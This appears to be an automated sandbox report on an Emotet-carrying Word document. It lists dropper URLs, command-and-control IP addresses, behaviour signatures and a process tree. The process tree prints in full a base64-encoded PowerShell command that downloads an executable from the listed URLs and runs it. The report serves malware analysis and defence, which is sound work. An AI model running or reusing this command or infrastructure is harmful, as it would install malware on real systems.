Analysis

  • max time kernel
    135s
  • max time network
    149s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    06/08/2020, 13:09

General

  • Target
    FILE_08760758718904296354.doc
  • Size 177KB
  • Sample200806-ht8peeecae
  • SHA256 3f3985d3551ecc0d3dc38c2c25b3b0017b349ad8b12dcfb32f5b6fbc8cedd939
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://airmidhealthgroup.com/plugins/kb_r_5y5p44z9/

  • exe.dropper

    https://wksbsolutions.com/picture_library/f9_f03t4_4z/

  • exe.dropper

    http://webmotion-design.com/test/ul_tx_n6bfaag/

  • exe.dropper

    http://wiretube.com.br/assets/kudb3_i3gjx_y52/

  • exe.dropper

    http://wolfbird.com/wp-content/2ddcr_bqmi2_d0vmdgu/

Extracted

Family
  • emotet

C2
  • 204.197.146.48:80

  • 212.51.142.238:8080

  • 200.55.243.138:8080

  • 103.86.49.11:8080

  • 83.110.223.58:443

  • 139.130.242.43:80

  • 41.60.200.34:80

  • 110.145.77.103:80

  • 183.101.175.193:80

  • 50.116.86.205:8080

  • 79.98.24.39:8080

  • 180.92.239.110:8080

  • 203.153.216.189:7080

  • 137.59.187.107:8080

  • 109.74.5.95:8080

  • 61.19.246.238:443

  • 209.182.216.177:443

  • 162.241.92.219:8080

  • 47.153.182.47:80

  • 176.111.60.55:8080

rsa_pubkey.plain

Signatures

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Drops file in System32 directory 1 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Suspicious use of SetWindowsHookEx 15 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\FILE_08760758718904296354.doc" /o ""
    1⤵
    • Enumerates system info in registry
    • Suspicious use of SetWindowsHookEx
    • Suspicious behavior: AddClipboardFormatListener
    • Checks processor information in registry
    PID:3692
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABIAFQAWgBDAFcAegBoAGIAPQAnAEgAWABNAFgASgBsAHUAcQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAYwBgAFUAUgBpAHQAeQBQAFIATwBUAG8AYwBgAE8ATAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAFIASABCAEUASQBlAGwAZgAgAD0AIAAnADcAMAA1ACcAOwAkAEwAUABFAFoAUgBqAHkAegA9ACcAWQBCAEsAQwBBAHEAaQBkACcAOwAkAFkAVgBCAFUASABmAHMAdQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAUgBIAEIARQBJAGUAbABmACsAJwAuAGUAeABlACcAOwAkAFYAWgBCAE0ARwB2AGsAdwA9ACcAVABYAFEASgBTAG0AbwB0ACcAOwAkAE0AVABKAFoASQBkAG8AbwA9ACYAKAAnAG4AJwArACcAZQB3AC0AbwBiACcAKwAnAGoAZQBjACcAKwAnAHQAJwApACAAbgBFAFQALgB3AEUAYgBDAEwAaQBlAG4AdAA7ACQARwBYAEoAUgBMAGsAcQBnAD0AJwBoAHQAdABwADoALwAvAGEAaQByAG0AaQBkAGgAZQBhAGwAdABoAGcAcgBvAHUAcAAuAGMAbwBtAC8AcABsAHUAZwBpAG4AcwAvAGsAYgBfAHIAXwA1AHkANQBwADQANAB6ADkALwAqAGgAdAB0AHAAcwA6AC8ALwB3AGsAcwBiAHMAbwBsAHUAdABpAG8AbgBzAC4AYwBvAG0ALwBwAGkAYwB0AHUAcgBlAF8AbABpAGIAcgBhAHIAeQAvAGYAOQBfAGYAMAAzAHQANABfADQAegAvACoAaAB0AHQAcAA6AC8ALwB3AGUAYgBtAG8AdABpAG8AbgAtAGQAZQBzAGkAZwBuAC4AYwBvAG0ALwB0AGUAcwB0AC8AdQBsAF8AdAB4AF8AbgA2AGIAZgBhAGEAZwAvACoAaAB0AHQAcAA6AC8ALwB3AGkAcgBlAHQAdQBiAGUALgBjAG8AbQAuAGIAcgAvAGEAcwBzAGUAdABzAC8AawB1AGQAYgAzAF8AaQAzAGcAagB4AF8AeQA1ADIALwAqAGgAdAB0AHAAOgAvAC8AdwBvAGwAZgBiAGkAcgBkAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AMgBkAGQAYwByAF8AYgBxAG0AaQAyAF8AZAAwAHYAbQBkAGcAdQAvACcALgAiAFMAcABMAGAAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARABVAEgAVABZAGEAdgBjAD0AJwBXAFYATQBIAEEAaABsAHUAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEMASwBQAE8ARwBsAHEAeAAgAGkAbgAgACQARwBYAEoAUgBMAGsAcQBnACkAewB0AHIAeQB7ACQATQBUAEoAWgBJAGQAbwBvAC4AIgBkAE8AdwBgAE4AbABPAEEAZABGAEkAYABsAEUAIgAoACQAQwBLAFAATwBHAGwAcQB4ACwAIAAkAFkAVgBCAFUASABmAHMAdQApADsAJABWAFoASQBJAE8AdgB2AGUAPQAnAFYATwBKAFkATgBnAGoAZgAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAFkAVgBCAFUASABmAHMAdQApAC4AIgBsAGAAZQBOAGcAYABUAEgAIgAgAC0AZwBlACAAMgA3ADQAOQAyACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAFIAZQBgAEEAVABFACIAKAAkAFkAVgBCAFUASABmAHMAdQApADsAJABDAEEAQgBRAEUAbgBuAGIAPQAnAE0AWABKAFkAWAB0AHQAdQAnADsAYgByAGUAYQBrADsAJABVAEYATQBYAFQAegB6AG4APQAnAFkASABGAFkAVQB4AGoAcwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABVAEkARQBWAEIAdQB0AHMAPQAnAE0AUQBMAEUAVQBtAGsAbAAnAA==
    1⤵
    • Blacklisted process makes network request
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    PID:812
  • C:\Users\Admin\705.exe
    C:\Users\Admin\705.exe
    1⤵
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:2128
    • C:\Windows\SysWOW64\msisip\msiwer.exe
      "C:\Windows\SysWOW64\msisip\msiwer.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      PID:2716

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/812-7-0x00007FFDB5370000-0x00007FFDB5D5C000-memory.dmp

        memory/812-9-0x0000022B69320000-0x0000022B69321000-memory.dmp

        memory/812-8-0x0000022B69150000-0x0000022B69151000-memory.dmp

        memory/2128-12-0x00000000005F0000-0x00000000005FC000-memory.dmp

        memory/2716-15-0x0000000000680000-0x000000000068C000-memory.dmp

        memory/3692-6-0x00000259CCDD2000-0x00000259CCDD8000-memory.dmp

        memory/3692-5-0x00000259CCDD2000-0x00000259CCDD8000-memory.dmp

        memory/3692-4-0x00000259CCDD2000-0x00000259CCDD8000-memory.dmp

        memory/3692-3-0x00000259CCDD8000-0x00000259CCDDD000-memory.dmp

        memory/3692-2-0x00000259CCD30000-0x00000259CCD41000-memory.dmp

        memory/3692-0-0x00007FFDBD120000-0x00007FFDBD7E6000-memory.dmp

        memory/3692-1-0x00000259CCD41000-0x00000259CCD44000-memory.dmp